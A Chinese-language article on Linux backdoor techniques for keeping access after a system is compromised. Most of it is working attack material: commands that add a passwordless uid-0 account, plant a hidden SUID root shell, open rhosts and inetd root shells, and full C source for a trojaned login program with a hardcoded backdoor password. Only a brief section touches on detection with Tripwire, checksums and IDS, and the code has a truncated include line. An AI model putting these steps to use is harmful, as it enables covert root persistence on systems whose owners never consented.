Linux后門技術及實踐方法談完整版
以下的文章主要描述的是Linux后門技術及實踐方法,假如你在實際操作中遇到Linux后門技術,但是你卻不知道對Linux后門技術如何正確的解決,那么以下的文章對你而言一定是良師益友。以下就是文章的主要內容描述。
后門簡介
入侵者完全控制系統后,為方便下次進入而采用的一種技術。
一般通過修改系統配置文件和安裝第三方后門工具來實現。 具有隱蔽性,能繞開系統日志,不易被系統管理員發現等特點。
Linux后門技術
增加超級用戶賬號
破解/嗅探用戶密碼
放置SUID Shell
rhosts + +
利用系統服務程序
TCP/UDP/ICMP Shell
Crontab定時任務
共享庫文件
工具包rootkit
可裝載內核模塊(LKM)
增加超級用戶 # echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
如果系統不允許uid=0的用戶遠程登錄,還需要增加一個普通用戶賬號。
破解/嗅探用戶密碼
獲得shadow文件后,用John the Ripper 工具破解薄弱的用戶密碼。安裝sniffit等嗅探工具,監聽telnet、ftp等端口,收集用戶密碼。
放置SUID Shell # cp /bin/bash /dev/.rootshell
# chmod u+s /dev/.rootshell
普通用戶在本機運行/dev/.rootshell,即可獲得一個root權限的shell。 rhosts + +
# echo "+ +" > /.rhosts
# rsh -l root victim.com csh -i
遠程可以得到一個rootshell。
利用系統服務程序
修改/etc/inetd.conf, daytime stream tcp nowait /bin/sh sh -I ;用trojan程序替換in.telnetd、in.rexecd等inted的服務程序
重定向login程序
TCP/UDP/ICMP Shell
BindShell,大部分是基于TCP/UDP協議的網絡服務程序,在高端口監聽,很容易被發現。Ping Backdoor,通過ICMP包激活后門,形成一個Shell通道。
TCP ACK數據包后門,能夠穿越防火墻。
Crontab定時任務
Linux后門技術中通過Crontab程序調度已安裝的后門程序定時運行,一般在深夜時段,是系統管理員不在線的時間。
共享庫文件
在共享庫中嵌入后門函數使用后門口令激活Shell,獲得權限能夠躲避系統管理員對二進制文件本身的校驗
工具包rootkit
包含一系列系統及后門工具:
清除日志中的登錄記錄
偽裝校驗和
替換netstat、ps等網絡工具
后門登錄程序易于安裝和使用
可裝載內核模塊(LKM)
LKM:Loadable Kernel Modules 動態的加載,不需要重新編譯內核。
截獲系統調用,具有隱藏目錄、文件、進程、網絡連接等強大功能。
自身隱蔽性好,發現難度較大。
著名的LKM包有adore和knark。
后門的檢測
以自己的經驗,結合特定的工具,手工作一些檢測。
使用Tripwire或md5校驗來檢查系統。
借助IDS系統,監聽到目標機器的可疑網絡連接。
實例:login后門
入侵者先把原始的/bin/login備份,再用一段程序替換/bin/login。入侵者telnet登錄進來的時候,通過環境變量或者終端類型
傳遞了正確的后門密碼,將直接獲得一個Shell;如果是普通用戶登錄,將會重定向到原始的login文件,來處理正常的登錄。
最簡單的login后門ulogin.c源代碼如下:
實例:login后門 #include
#define PASSWORD "passWORD"
#define _PATH_LOGIN "/sbin/logins"
main (argc, argv, envp)
int argc;
char **argv, **envp;
{
char *display = getenv("DISPLAY");
if ( display == NULL ) {
execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN);
exit(1);
}
if (!strcmp(display,PASSWORD)) {
system("/bin/csh");
exit(1);
}
execve(_PATH_LOGIN, argv, envp);
exit(1);
}
以上的相關內容就是對Linux后門技術及實踐方法談完整版的介紹,望你能有所收獲。